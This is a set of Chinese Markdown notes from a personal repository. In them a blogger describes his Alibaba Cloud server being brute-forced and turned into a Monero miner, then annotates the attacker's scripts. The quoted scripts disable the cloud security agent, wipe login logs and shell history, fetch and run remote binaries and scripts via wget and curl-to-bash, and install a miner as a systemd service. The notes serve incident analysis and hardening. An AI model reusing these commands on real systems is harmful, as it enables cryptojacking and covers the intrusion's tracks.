扫描根目录,记录到日志,并删除可疑文件。 ``` clamscan -r / -l /var/log/clamscan.log --remove ``` `crontab -e`设置定时任务,注意:定时任务通常都是后台静默运行,没有echo,不会回显在终端。 [跳转LINUXZERO-0.md#clamav](https://github.com/hoochanlon/ihs-simple/blob/main/LINUXZERO-0.md#clamav简明使用) ``` 0 3 * * * * clamscan -r / -l /var/log/clamscan.log --remove ``` 详请参考: * [BASH脚本基础:环境变量PROMPT_COMMAND介绍](https://blog.csdn.net/liumiaocn/article/details/104113262) * [csdn-linux系统定时任务与延迟任务](https://blog.csdn.net/westos_yanzheng/article/details/126604664) * [csdn-云服务器Linux挖矿病毒杀毒软件clamscan安装](https://blog.csdn.net/m0_59069586/article/details/126956289) * [51cto-Linux下杀毒软件(ClamAV)安装及使用](https://blog.51cto.com/u_9691128/4293334) * [betheme.net-centos7.6 yum安装clamav 进行病毒扫描查杀](https://betheme.net/news/txtlist_i98729v.html) ================================================ FILE: AQUICK/CLINUX/LINUXNANO-0.md ================================================ # 记阿里云主机再一次被黑客恶意脚本攻击 ## 登录阿里云控制台,查看安全告警信息,并联系客服咨询有关事件详情 接到手机上的短信,我及时联系了他们阿里云的客服,看了下控制台提供的黑客线索 ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/2e706e67.png) 注意到了 https://github.com/Tremblae/Tremble 的信息,主机重置快一个多来月了,这家伙又一次暴破了我的云主机。 ![ ](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-02-07%2009.54.20.png) 这么高的CPU占用,我根据其进程及阿里云提供的线索,注意到了“xmrig”的进程。 ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-02-07%2015.51.54.png) 下载其文件查看了json文件,已坐实黑客暴力破解及利用其他程序漏洞,攻入我的阿里云主机进行挖矿! ![ ](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-02-07%2016.05.51.png) 关于黑客仓库里的其他文件,我对阿里云客服也进行了咨询,据客服所述:"通常黑客会隐蔽自己的真实IP,用正则扫描检测公网云主机及开放端口;然后不断用数据字典暴力破解密码,或是其他后门绕开密码植入脚本,或其他二进制程序;这种脚本及程序,通常会卸载系统组件,乱改文件造成系统不稳定,并开放主机其他端口Ddos别人"。 ![ ](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-02-07%2016.57.43.png) ![ ](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-02-07%2016.57.59.png) ## 清理病毒的参考资料 昨天才安装体验试用了下Clamav,没想到这次居然没起到其杀毒软件的作用啊...也不知道后来了解到的河马查杀效果怎样。经过这次事件后,我对Linux平台杀毒软件检测病毒的能力,也不是太乐观。 了解黑客攻击云主机的行为方式: * [Daryl179-阿里云服务器被挖矿的解决方法-csdn](https://blog.csdn.net/qq_47464056/article/details/125970479) * [Daryl179-使用Kali对网站进行DDos攻击-csdn](https://blog.csdn.net/qq_47464056/article/details/127553734?spm=1001.2014.3001.5502) * [极客飞扬-排查Linux系统下SSH被暴力破解植入pnscan 挖矿病毒入侵服务器](https://www.cnblogs.com/rmfit/p/15624873.html) 定时任务关闭及清除: * [-阿里云ECS遭挖矿程序攻击解决方法(彻底清除挖矿程序,顺便下载了挖矿程序的脚本)](https://blog.csdn.net/NicolasLearner/article/details/119006769) * [阿里云安全中心-挖矿程序处理最佳实践](https://help.aliyun.com/document_detail/161236.htm?spm=5176.smartservice_service_robot_chat_new.0.0.37c73f1bUDrKsc#section-xgd-9mh-f0e) 由于是免费领的阿里云主机,我基本上很少登录,所以没配置安装软件之类的,索性把root的定时任务全清除了。 ![ ](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-02-07%2010.31.541.png) ## 后续策略 土豪或企业交给阿里云团队维护另说,这里分享下我了解到的处理方式。 ### 1. 修改用户登录策略 ***虽然他们文章是不错参考资料,但必须要注意Linux的版本号,版本不一样,命令也是大有改动。19年的centos8取消了pam_tally2模块,但网上不少文章是2022、2020,他们可能当时就是用的centos8以下。*** * [linux 终端 设置连接登录密码 + 登录失败处理功能策略](https://www.cnblogs.com/qwer78/p/16546372.html) * [uos账号解锁](https://blog.csdn.net/qq_35957643/article/details/125277224) * [CentOS 8.0配置安全策略(用户3次登录失败锁定3分钟)](https://zhuanlan.zhihu.com/p/127109500?utm_id=0) 以上总结是CentOS8对修改sshd文件的教训,只适合CentOS7及以下。还学到一招查看日志信息`tail -f /var/log/messages`。 修改配置 ``` vi /etc/pam.d/system-auth # 顶行复制如下指令,即默认所有用户通用处理。 auth required pam_faillock.so preauth silent audit deny=3 unlock_time=300 even_deny_root ``` 解锁用户 ``` # 解锁一个用户 faillock --user It --reset # 解锁所有用户 faillock--reset ``` 阿里给出的[《Linux操作系统加固》](https://help.aliyun.com/knowledge_list/60787.html)文档,本质上就是用户登录策略...不过文档挺好、挺详细的。 ### 2. 关闭不需要的远程端口及ICMP回显(ping) 关闭自己不用的桌面系统远程端口,如Windows:3389,SSH:22,改成其他的端口。 ```` cp /etc/ssh/sshd_config /etc/ssh/sshd_config_bak/sshd_config && vi /etc/ssh/sshd_config # 找到 # port 22位置,在下方添加 port 1122 ```` 但完全限死,只用VNC登录使用的话,太难受了...😂 ### 3. 限制IP或更换IP “0.0.0.0/0”,任何人都能访问,还是不太安全啊...百度关键字“IP”,临时用自己的公网IP登录,弄个弹性IP,换下IP也行吧...不过由于我个人在云主机没放什么重要东西,也没部署ftp、web等服务啥的,用的时候登录网页开启远程访问端口,这样也可以。 ### 4. 若是自己存有重要资料及配置,那就自己做好每天的快照备份。 Linux不像微软的Windows那么服务到位,还有补丁推送,有不少杀软防护。基本上一切都得自己来。客服表示我想高枕无忧,啥也不想管,得找得加钱买服务,如:[web应用加固](https://help.aliyun.com/knowledge_list/60792.html),[企业支持](https://www.aliyun.com/service/supportplans),全是一堆要钱的玩意。 可这些高昂费用,反正不适用于我这种个人用户。Linux恶意脚本通过其他程序服务上的机制漏洞,打开及利用这一程序后门,绕过密码注入脚本,搞破坏、静默上传下载、恶意ddos、挖矿等什么的,以及客服也对我给出了阿里云高危漏洞通报的访问入口:https://avd.aliyun.com/high-risk/list 。 ![ ](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-02-07%2015.24.45.png) 总的来说,恶意脚本、软件不时重启打开,又会额外又生成多个脚本垃圾等;待到下次系统启动时,没查杀到的文件又会再自启运行生成其他文件,如此循环是挺难根除的。这样的话,还不如备份快照还原来得快。 ### 最后,关于我个人关于对黑客行为的几点猜想 * 这件事先排除掉搞网络安全方面的红白组。 * 受为KPI的媒体小编所胡吹乱奏的“黑客行为”所影响,觉得很酷、很炫,出人头地。 * 无聊搞事,黑客行为当兴趣来报复社会的。 * 可能存在一部分失业者又或是其他职业,有大把时间闲着没事做的人。 * 一些不良组织团体,或个人挖矿进行的暗箱整活搞钱。 ================================================ FILE: AQUICK/CLINUX/LINUXNANO-1.md ================================================ # 记上次黑客入侵阿里云主机 —— 代码分析(上) 已将问题反馈到阿里云安全团队客服,并向阿里云中心举报其地址。接下来是代码分析。(前面两部分) ## xz.sh部分,即卸载脚本 参考信息源: * [bili_62374023667-linux下ETH转发服务器+ETH抽水教程,支持SSL加密+删除阿狸监控避免上报](https://www.bilibili.com/read/cv15054271/) * [csdn-linux+agent卸载_华为云服务器卸载agent监控服务Linux+windows教程](https://blog.csdn.net/weixin_33148621/article/details/113900993) * [CentOS服务器清除用户登录记录和命令历史方法](https://blog.csdn.net/cljdsc/article/details/123358983) * [Linux基础:history命令](https://blog.51cto.com/skypegnu1/1941153) 黑客核心代码解读 ``` # 首先是下载阿里云盾卸载脚本 wget http://update.aegis.aliyun.com/download/uninstall.sh chmod +x uninstall.sh && ./uninstall.sh # 然后屏蔽掉云盾IP iptables -I INPUT -s 140.205.201.0/28 -j DROP # 进行恶意卸载云盾等其他组件服务 sh /usr/local/qcloud/stargate/admin/uninstall.sh # 还把监控都给停止了 service telescoped stop # 清除系统登录成功命令历史记录 echo > /var/log/wtmp # 清除登陆系统失败的记录 echo > /var/log/btmp # 导入空记录,清除历史执行命令 echo > .bash_history # 清除历史执行命令并保存。 history -c && history -w # 删掉脚本 rm -rf cd /root/uninstall.sh ``` ## k.sh,即杀死进程脚本 参考信息源: * [Shell 文件或目录操作符(-e、-d、-f、-r、-w、-x)](https://blog.csdn.net/zz00008888/article/details/122360612) 黑客核心代码解读 ``` # 结束dos26(可能为ddos) killall -9 dos26 # 结束不明程序(命名不知其意) killall -9 tfq # 结束挖矿程序 killall -9 xmrig # 删除程序 rm -rf cd /tmp/dos26 rm -rf cd /tmp/tfq rm -rf cd /tmp/xmrig # 判断对象是否有可写(Write)权限,是则为真 if [ ! -w "/tmp/dos64" ]; then # 进入目录,下载恶意dos,赋予读写及执行权限,并执行 cd /tmp;wget https://ghproxy.com/https://raw.githubusercontent.com/Tremblae/Tremble/main/dos64;chmod 777 dos64;./dos64 fi if [ ! -w "/root/c3pool/xmrig" ]; then # 下载恶意靶机脚本执行 curl -s -L https://ghproxy.com/https://raw.githubusercontent.com/Tremblae/Tremble/main/ba.sh | bash -s fi # 又一次删除程序 rm -rf cd /tmp/dos26 rm -rf cd /tmp/tfq rm -rf cd /tmp/xmrig # 休眠,删掉挖矿记录文件 sleep 88;rm -rf cd /root/c3pool ``` ================================================ FILE: AQUICK/CLINUX/LINUXNANO-2.md ================================================ # 记上次黑客入侵阿里云主机 —— 代码分析(中) 已将问题反馈到阿里云安全团队客服,并向阿里云中心举报其地址。接下来是代码分析。(bk.sh) ## bk.sh,推测是靶机脚本(if及json部分) ### 第一层 if 参考信息源: * [百度知道-Linux shell 脚本 $(id -u) 是什么意思?](https://zhidao.baidu.com/question/944658594109817212.html) * [bbsmax-shell if判断中常用的a-z表达式含义](https://www.bbsmax.com/A/8Bz81Qa6Jx/) * [linux 环境变量设置 -d,Linux环境变量的设置](https://blog.csdn.net/weixin_35565522/article/details/116774198) * [Shell中的exit 0 和 exit 1是做什么的?](https://www.pianshen.com/article/37962128580/) * [博客园-shell中的type命令](https://www.cnblogs.com/chaoguo1234/p/5723531.html) * [Linux /dev/null详解](https://www.shuzhiduo.com/A/6pdDP9ALdw/) ``` #----- # 判断是不是root权限 if [ "$(id -u)" == "0" ]; then echo "" fi #---- # 这部分是判断环境配置准备 # “-z 长度为零则为真”,做一个逆向判断,就是找不到这个目录,打印"请将home环境定义到主目录"。 if [ -z $HOME ]; then echo "ERROR: Please define HOME environment variable to your home directory" # 异常退出,debug检测的。 exit 1 fi # 检查是否有家目录,没有则提示导入,引入家目录环境变量 if [ ! -d $HOME ]; then echo "ERROR: Please make sure HOME directory $HOME exists or set it yourself using this command:" echo 'export HOME=' exit 1 fi # 找不到curl命令定义,则丢入黑洞,跳出 if ! type curl >/dev/null; then echo "ERROR: This script requires \"curl\" utility to work correctly" exit 1 fi # `sudo -n true 2`返回“一个密码请求”的定义信息 # if ! sudo -n true 2>/dev/null; then # if ! pidof systemd >/dev/null; then # echo "ERROR: This script requires systemd to work correctly" # exit 1 # fi # 看起来是调用(CPU几个核心数*7/10),如果为0,跳出。 CPU_THREADS=$(nproc) EXP_MONERO_HASHRATE=$(( CPU_THREADS * 700 / 1000)) if [ -z $EXP_MONERO_HASHRATE ]; then echo "ERROR: Can't compute projected Monero CN hashrate" exit 1 fi ``` 以上这echo所打印的报错信息,基本也说明主机不能正常使用,这对他们黑客而言,已经没有任何价值了。如果这些正常的话,则运行下载好的挖矿脚本,以及其专用的挖矿程序。然后又是层层的if环境检验。 ### 第二层 if 参考信息源: * [入门小站-linux之curl命令](https://zhuanlan.zhihu.com/p/519406107) * [sed -i 命令入门详解](https://blog.csdn.net/h4241778/article/details/125263518) * [XMR恶意挖矿案例简析](https://www.sohu.com/a/260504074_354899) * [诱捕黑客的蜜罐系统](https://baijiahao.baidu.com/s?id=1706341262655959831) * [linux应用之test命令详细解析](https://www.cnblogs.com/tankblog/p/6160808.html) * [Shell脚本中$0、$?、$!、$$、$*、$#、$@等的意义以及linux命令执行返回值代表意义](https://blog.csdn.net/helloxiaozhe/article/details/80940066) ``` # curl -L --progress-bar 显示网页内容与进度条,存在异常则直接中断退出。 if ! curl -L --progress-bar "https://ghproxy.com/https://raw.githubusercontent.com/Tremblae/Tremble/main/xmrig.tar.gz" -o /tmp/xmrig.tar.gz; then echo "ERROR: Can't download https://ghproxy.com/https://raw.githubusercontent.com/Tremblae/Tremble/main/xmrig.tar.gz file to /tmp/xmrig.tar.gz" echo "" exit 1 fi # 不能正常解压缩,退出删除文件 if ! tar xf /tmp/xmrig.tar.gz -C $HOME/c3pool --strip=1; then echo "" echo "" fi rm /tmp/xmrig.tar.gz # 使用正则,看上去是为了替换掉原有的config.json的donate-level的数值。 sed -i 's/"donate-level": *[^,]*,/"donate-level": 0,/' $HOME/c3pool/config.json $HOME/c3pool/xmrig --help >/dev/null # $? 最后命令的退出状态的返回值。0表示没有错误,其他任何值表明有错误。 # # 比较,不等于0,再检验下xmrig还是不是文件,是就打印换行,否则跳出。 if (test $? -ne 0); then if [ -f $HOME/c3pool/xmrig ]; then echo "" echo "" else echo "" echo "" fi exit 1 fi fi ``` ### 推测其意,做环境判断之后,用正则配置json 参考信息源: * [百度知道-Linux下面这条命令能逐个解释一下吗:cat /etc/passwd |cut -f 1 -d ](https://zhidao.baidu.com/question/555970944.html) * [博客园-Linux命令之cut](https://www.cnblogs.com/zhoujingyu/p/4948051.html) * [csdn-linux中的sed参数,sed一些参数的用法](https://blog.csdn.net/weixin_39891317/article/details/116855981) * [linux 抽取ip地址,Linux bash脚本提取IP地址](https://blog.csdn.net/weixin_36371924/article/details/116767805) * [linux中awk命令详解(最全面秒懂)](https://www.cnblogs.com/zhengyan6/p/16290156.html) 指令逐条解释 * `hostname | cut -f1 -d"."` 将hostname的输出结果,传递给cut,以“.”切割分段行显示 * `sed -r 's/[^a-zA-Z0-9\-]+/_/g'` 删除所有特殊字符(除了数字以及大小写字母)。 * `ip route get 1` 返回路由条目,包括IP、网关、uid。 * `awk '{print $NF;exit}'` 对内容空格分段。 ``` PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'` if [ "$PASS" == "localhost" ]; then # 测试这条命令输出为0 PASS=`ip route get 1 | awk '{print $NF;exit}'` fi # 推测是配置json账户信息 if [ -z $PASS ]; then PASS=na fi if [ ! -z $EMAIL ]; then PASS="$PASS:$EMAIL" fi ``` 将json拷贝一份,作为后台文件,再用sed配置成后台运行。 ``` cp $HOME/c3pool/config.json $HOME/c3pool/config_background.json sed -i 's/"background": *false,/"background": true,/' $HOME/c3pool/config_background.json ``` ================================================ FILE: AQUICK/CLINUX/LINUXNANO-3.md ================================================ # 记上次黑客入侵阿里云主机 —— 代码分析(上) 已将问题反馈到阿里云安全团队客服,并向阿里云中心举报其地址。接下来是代码分析。(bk.sh) ## bk.sh,推测是靶机脚本(注入service部分) ### `cat >/tmp/c3pool_miner.service <$HOME/c3pool/miner.sh </dev/null; then nice $HOME/c3pool/xmrig \$* else echo "" fi EOL ``` #### service内容解读 参考信息源: * [博客园-Linux 下的两个特殊的文件 -- /dev/null 和 /dev/zero 简介及对比](https://www.cnblogs.com/lishihai/p/7986565.html) * [csdn-&>/dev/null表示的意思](https://blog.csdn.net/heybeaman/article/details/89500337) * [Linux *.service文件详解](https://blog.csdn.net/weixin_44352521/article/details/126679172) * [journalctl基本介绍](https://blog.csdn.net/weixin_45537987/article/details/106762104) `xxx 2>dev/null`屏蔽错误输出。`>/dev/null 2>&1`什么回显都不用,言外之意就是抹掉记录。 ``` # 判断有没有 systemctl 这命令 if ! type systemctl >/dev/null; then echo "" echo "" /bin/bash $HOME/c3pool/miner.sh --config=$HOME/c3pool/config_background.json >/dev/null 2>&1 echo "ERROR: This script requires \"systemctl\" systemd utility to work correctly." echo "Please move to a more modern Linux distribution or setup miner activation after reboot yourself if possible." else # 生成挖矿服务配置 echo "[*] Creating c3pool_miner systemd service" # 以下为注入配置 cat >/tmp/c3pool_miner.service </dev/null sudo systemctl daemon-reload # 启用挖矿服务,并开始挖矿 sudo systemctl enable c3pool_miner.service sudo systemctl start c3pool_miner.service # 要查看矿工服务日志,请运行 "sudo journalctl -u c3pool_miner -f"命令 echo "To see miner service logs run \"sudo journalctl -u c3pool_miner -f\" command" echo "" fi ``` ## “echo”及“#”打印及注释信息收集 ### echo "echo"部分为英语,我用翻译及个人有限功底理解其代码。第一行,中二教言语,忽略;从第二行开始翻译解读。 ``` # 这部分是配置准备,以及调试 ## 请将home环境定义到主目录。 echo "ERROR: Please define HOME environment variable to your home directory" ## 请确保home环境已设置 echo "ERROR: Please make sure HOME directory $HOME exists or set it yourself using this command:" # 从这行的上部分代码推测实在挖矿了, 无法计算比特币什么的 ## 错误:无法计算预计的门罗币 CN 哈希率 echo "ERROR: Can't compute projected Monero CN hashrate" ## 报错,无法计算端口,输出错误端口 echo "ERROR: Can't compute port" echo "ERROR: Wrong computed port value: $PORT" # 进一步的恶意操控挖矿 ## 下载与后台运行Monero CPU矿机/主机 echo "I will download, setup and run in background Monero CPU miner." ## 如果需要,前台的矿工可以通过$HOME/c3pool/miner.sh脚本启动。 echo "If needed, miner in foreground can be started by $HOME/c3pool/miner.sh script." # 挖矿将发生在 $WALLET 钱包上。这句话打印出来,就说明之前所有暗箱操作全完成了。 echo "Mining will happen to $WALLET wallet." # 删掉挖矿的目录 echo "[*] Removing $HOME/c3pool directory" ``` ### “#”(全部为机翻) 打印问候语;命令行参数;检查先决条件 ``` # printing greetings # command line arguments # checking prerequisites ``` 计算端口;印刷的意图;开始做事:准备矿工 ``` # calculating port # printing intentions # start doing stuff: preparing miner ``` 准备脚本 ``` # preparing script ``` 准备脚本后台工作和重启时的工作 ``` # preparing script background work and work under reboot ``` ================================================ FILE: AQUICK/CLINUX/LINUXNANO-4.md ================================================ # 记上次黑客入侵阿里云主机 —— 入侵行为分析 > ***防治手段转到[LINUXINTRO-0 SSH密钥策略](/LINUXINTRO-0.md)与[LINUXINTRO-0 FAIL2BAN策略](/LINUXINTRO-1.md)。*** > ***注:一旦主机被黑客破解,通常都会在主机登录上,驻留SSH密钥,以及其他软件服务等登录的通行证后门。*** ## 入侵方式 此前我好奇一个问题: 我的服务器都没有域名,黑客是什么扫到我的服务器公网地址的?针对这一问题我联系了阿里云客服。与之沟通答复及讨论,要点总结如下: ### 杜美莎手法 在没有公网业务、服务部署的前提下,黑客基本上是通过“[杜美莎](http://foofus.net/goons/jmk/medusa/medusa.html)”之类的软件来进行入侵的。黑客会通过其他渠道购买及下载IP池,批量扫描,字典破解密码,因为服务器的都是暴漏在公网环境下的。杜美莎是集IP扫描、端口探测、密码暴破于一身的主机渗透解锁软件。 ### ddos攻击 “如果对方换成ddos攻击,这个就是杀敌1000,自损800没什么深仇大恨,不会去搞。” 客服补充说道;我便回“自损800?没有吧,ddos不是一直ping吗?ping又不需要什么东西。” 听到这话,客服举例向我解释:“我攻击您50G流量,这个50G流量从哪里来的,我自己的流量啊”。 ### 中间人攻击 看了文章这篇[csdn-中间人攻击](https://blog.csdn.net/holen_/article/details/122839940),黑客需要从中间劫持双方通信的流量包,并对流量包解包分析参数。这又对黑客提出要求,即理解网络方面的专业知识,而且我和阿里云之间的密码输入是https post请求(参考信息[POST请求](https://blog.csdn.net/weixin_41040445/article/details/115260390)),又得要求黑客需要了解一定的密码学知识。此外截获这方面的流量,可能还得去运营商那租台服务器什么。 综合起来,这对黑客的人力物力及时间的成本高了。黑客极有可能清楚这台主机局域网的网络走向的,知道做什么业务才侵入进来。 > 附图转自 [csdn-中间人攻击](https://blog.csdn.net/holen_/article/details/122839940) 中间人攻击知会图解 ![ ](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/csdn-zjrgj-sy.png) 中间劫获方法简要图解 ![ ](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/csdn-zjrgj-arp.png) 黑客选择那种手段也会考虑成本 ![ ](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-02-11%2023.24.56.png) 上回分析过病毒源码,这回来看个图, 顺便了解下[腾讯主机安全(云镜)捕获挖矿木马源码分析](https://s.tencent.com/research/report/1181.html),加强理解。 > 转 [cnblogs-双平台传播——活跃的H2Miner组织挖矿分析](https://www.cnblogs.com/bonelee/p/16378059.html) ![ ](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/c-3-1.jpg) ## 附录与参考资料 ### 清除SSH密钥后门 查找主机上用户的ssh authorized_keys,再看看有没有公钥。 ``` find / -name authorized_keys && find / -name id_rsa.pub ``` 保险起见,应做ssh密钥备份到本地,就算是黑客入侵,备份还原过去还是省事些。 ### 参考 * [csdn-SSH密钥提权](https://blog.csdn.net/qq_37407863/article/details/125574878) * [51cto-linux清除.sshd后门(udev)](https://blog.51cto.com/u_11742478/2050463) * [Hi技术分享-SSH删除密钥](https://www.hi917.com/detail/282.html) * [51cto-恼人的DLL后门完全清除秘诀 ](https://blog.51cto.com/xiong/13226?articleABtest=0) * [使用Medusa美杜莎暴力破解SSH密码-51CTO博客](https://blog.51cto.com/u_15766933/5630258) * [Docker SYS_ADMIN 容器逃逸原理解析 - FreeBuf网络安全行业门户](https://www.freebuf.com/vuls/264843.html) * [Linux默认端口,如何防止被恶意扫描](https://www.bilibili.com/read/cv6200341) * [Linux/centos减轻/防止DDoS攻击的轻量级小程序,软件防火墙 - 大概是个博客](https://dagai.net/archives/893) * [腾讯主机安全(云镜)捕获挖矿木马4SHMiner,已有上万服务器受害(2020)](https://s.tencent.com/research/report/1181.html) * [cnblogs-双平台传播——活跃的H2Miner组织挖矿分析](https://www.cnblogs.com/bonelee/p/16378059.html) ================================================ FILE: AQUICK/CLINUX/LINUXNANO-5.md ================================================ # 记上次黑客入侵阿里云主机 —— “ssh -D”事件专项分析 > ***防治手段转到[LINUXINTRO-0 SSH密钥策略](/LINUXINTRO-0.md)与[LINUXINTRO-0 FAIL2BAN策略](/LINUXINTRO-1.md)。*** > ***注:一旦主机被黑客破解,通常都会在主机登录上,驻留SSH密钥,以及其他软件服务等登录的通行证后门。*** ## 回顾阿里云客服对我的解惑 ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-02-11%2023.53.26.png) 阿里云客服对我的回复:“您那个ctrl +C只是中断了您输入密码的这个步骤;那个意思是,我已经和服务器通过非正常的方式连接,我从中偷偷的断开,不会对sshd服务有影响。”并且向我展示了`systemctl status sshd`,查看有哪些主机进行ssh连接。(他意思应该是指黑客断开动态端口转发,不会影响到我正常ssh远程连接的使用。) ![ ](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/ssh-ima-na.png) 对比我咨询客服的时间(蓝色的IP是北京阿里云,绿色的四川,红色的俄罗斯),看上去其实安全问题还蛮严重的。因为这些时间点我都没去管阿里云,ssh协议及端口,也是我有意直接ban掉的,等联系阿里云客服再开启,居然有人想尝试登录。 ![ ](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-02-12%2000.35.46.png) 由于我的“var/log/wtmp”和“utmp”被黑客删了,`last`、`lastb`二者来查看“尝试及登录过系统的用户”,也没什么效果了。但`journalctl`是可以的。我分析了下原因:一是他自身的编程知识水平,另一可能是有意而为之。有意为之要因推测:    从[知乎专栏-linux系统下各种日志文件的介绍,查看及日志服务配置](https://zhuanlan.zhihu.com/p/298335887)等相关文章可看出,屏蔽日志可以说是比较麻烦的,而且熟悉Linux也不会给你可乘之机啊。挖矿一直都会有日志产生,反正小白即不会也不懂怎么看;再者,看着情况公网主机基本上遭人扫描、暴破也是常事了。觉得没必要`rm /var/log/journal/* -rf;systemctl restart systemd-journald`,这显得多此一举;以及我的主机禁用日志服务测试情况:就算清除日志与`disable`掉日志服务,开机一样会自启记录。 不由得想起`top`任务进程与`chkconfig`运行级别想关联,再联想又会牵涉到`.service`服务调用模块上;所以,现在还是要回到正题`ssh -D`上,这些层层关联稍后再梳理。 ## ssh -D 紧接着就是`ssh -D`后面的一堆“乱码”。 ![ ](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-02-12%2015.28.08.png) 根据阿里云客服提示的“[chacha20-poly1305](https://baike.baidu.com/item/chacha20-poly1305/19712425?fr=aladdin)加密算法”,再结合`ssh -D [本地地址:]本地端口号 远程用户@远程地址`来推测,现在看有两种可能:一、黑客当时可能用的是他自己的主机,还没用其他肉鸡做跳板到我这;二、这种加密方式已经很普遍了,除了比较高端科技的云盾,可能真的拿它不是办法。 ![ ](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-02-12%2016.08.58.png) 经过一次病毒源码分析,以及了解了黑客常见的几种入侵方式,综合来看,黑客也会自然拿我这台主机做肉鸡ddos别人。这与`ssh -D`颇有出入,`ssh -D`动态端口转发,比如:把发到B机器上面的请求,都转发到A机器上面;让A机器去执行请求,所执行的网络及其他服务请求,会消耗A机器的流量以及A主机的各项资源。再用A这台主机做跳板,又`ssh -D`动态转发到其他肉鸡上,可真算得上隐蔽。暴力破解我密码,自然会去查我主机IP,而且我的主机密码是符合复杂规律,但实际上又是特别简单的密码:“P@ssw0rd”。难怪这也解释了,为什么黑客会两次三番地入侵我主机。 再来理解一遍,客服对我关于`ssh -D`疑问的答复:“我已经和服务器通过非正常的方式连接,我从中偷偷的断开,不会对sshd服务有影响。” 以及结合查找的文章资料[为什么ssh一关闭,程序就不再运行了?](https://www.cnblogs.com/lomper/p/7053694.html),看完如下引用这篇文章的这句话基本明白是怎么一回事了,涉及到sshd进程组方面的知识,保持通信防止挂断ssh被察觉。 > 因此当网络断开或终端窗口关闭后, 也就是SSH断开以后, 控制进程收到 SIGHUP 信号退出, 会导致该会话期内其他进程退出;简而言之: 就是 ssh 打开以后, bash等都是他的子程序, 一旦ssh关闭, 系统将所有相关进程杀掉!! 导致一旦ssh关闭, 执行中的任务就取消了. 参考: * [知乎专栏-SSH的使用详解](https://zhuanlan.zhihu.com/p/339808892) * [cnblogs-ssh -D -L -R 差异](https://www.cnblogs.com/-chaos/p/3378564.html) * [SSH 命令的三种代理功能(-L/-R/-D)](https://zhuanlan.zhihu.com/p/57630633) * [百度文库-第十章 守护进程与计算机网络安全](https://wenku.baidu.com/view/d29e1399cd2f0066f5335a8102d276a20029608c.html) * [51cto-守护进程与远程登录服务器](https://blog.51cto.com/wait0804/1783308) * [腾讯新闻-SSH服务渗透测试利用指北](https://new.qq.com/rain/a/20200629A0AUZX00) ================================================ FILE: AQUICK/CLINUX/LINUXSWAP-0.md ================================================ ### ddos、堡垒机、云蜜罐 * [csdn-什么是高防IP?](https://blog.csdn.net/qq_44887910/article/details/128775342) * [新网知识社区-常见的ddos防护方法有哪些?](https://blog.csdn.net/weixin_45761101/article/details/121940520) * [jumpserver/jumpserver](https://github.com/jumpserver/jumpserver) * https://github.com/hacklcx/HFish * https://github.com/birdhan/SecurityProduct ### 网络修改 * [linux设置软链接](https://www.cnblogs.com/dengsheng/p/16313069.html) * [51cto-linux 添加路由 ](https://blog.51cto.com/crazyming/568781) * [百家号-如何在 Linux 中使用 nmcli 命令配置 IP 网络](https://baijiahao.baidu.com/s?id=1752077717322308869&wfr=spider&for=pc&searchword=Linux网络配置nmui)(nmcli ) nmcli 永久生效的;ifconfig 临时生效。 #### 特权提升与密码破解 * [详细|Linux提权总结](https://blog.csdn.net/st3pby/article/details/127718846) * [腾讯新闻-Linux特权提升技术合集](https://view.inews.qq.com/k/20211015A001PB00?web_channel=wap&openApp=false) * [cnblogs-【THM】John The Ripper(hash破解工具)-学习](https://www.cnblogs.com/Hekeats-L/archive/2022/09/30/16745318.html) ### 勒索病毒 * https://www.nomoreransom.org/en/decryption-tools.html * https://lesuobingdu.360.cn ## docker * [www.freebuf.com-内网代理转发工具总结](https://www.freebuf.com/sectool/308049.html) * [Error starting userland proxy: listen tcp4 0.0.0.0:8005: bind: address alrea](https://blog.csdn.net/qwq1518346864/article/details/117597351) * [xiebruce.top-macOS使用了代理也无法ping通google的原因及其解决办法](https://www.xiebruce.top/1718.html) * [csdn-Linux端口转发的几种常用方法](https://blog.csdn.net/u010680373/article/details/124779749) * [cnblogs-怎么让 Linux 进程在后台运行](https://www.cnblogs.com/iluoye/p/16620660.html) * [Podman一篇就学会](https://blog.csdn.net/hyhxy0206/article/details/121943182) * [爱码网-linux全局代理,终端走代理](https://www.likecs.com/show-205071856.html) * [【玩转docker】反向代理神器:Nginx Proxy Manager](https://zhuanlan.zhihu.com/p/536791628?utm_id=0) * [cnblogs-Linux/CentOS设置全局代理(http)](https://www.cnblogs.com/EasonJim/p/9826681.html) * [Linux 配置 ProxyChains 本地代理](https://gukaifeng.cn/posts/linux-pei-zhi-proxychains-ben-di-dai-li/) yum install docker -y 少走弯路,按官网配置 Expert 优先级 proxychain 高,注意关闭expert proxy=xxxxx。 ``` # 查找端口进程 netstat -tanlp # 杀掉相关进程 sudo kill 4257 # 容器进程 docker ps # 杀死容器进程 podman kill "docker容器进程ID" > /dev/null 2&>1 yum install -y epel-release yum install -y httping # 使用方法 httping -x 127.0.0.1:1087 -g https://www.google.com # 即便使用了代理,chatgpt依旧会检查是否为代理IP,而ban IP。 ``` ================================================ FILE: AQUICK/CLINUX/LINUXSWAP-1.md ================================================ # python在Linux环境下编译安装过程随想 ## 结论前置 不想看大篇幅理解安装python多版本的过程,可以直接照着我自己整理的结论,便可。 * nix可适用于多个不同场景的程序语言开发版本环境部署和测试,进入到其nix shell等于独立的虚拟环境。 * 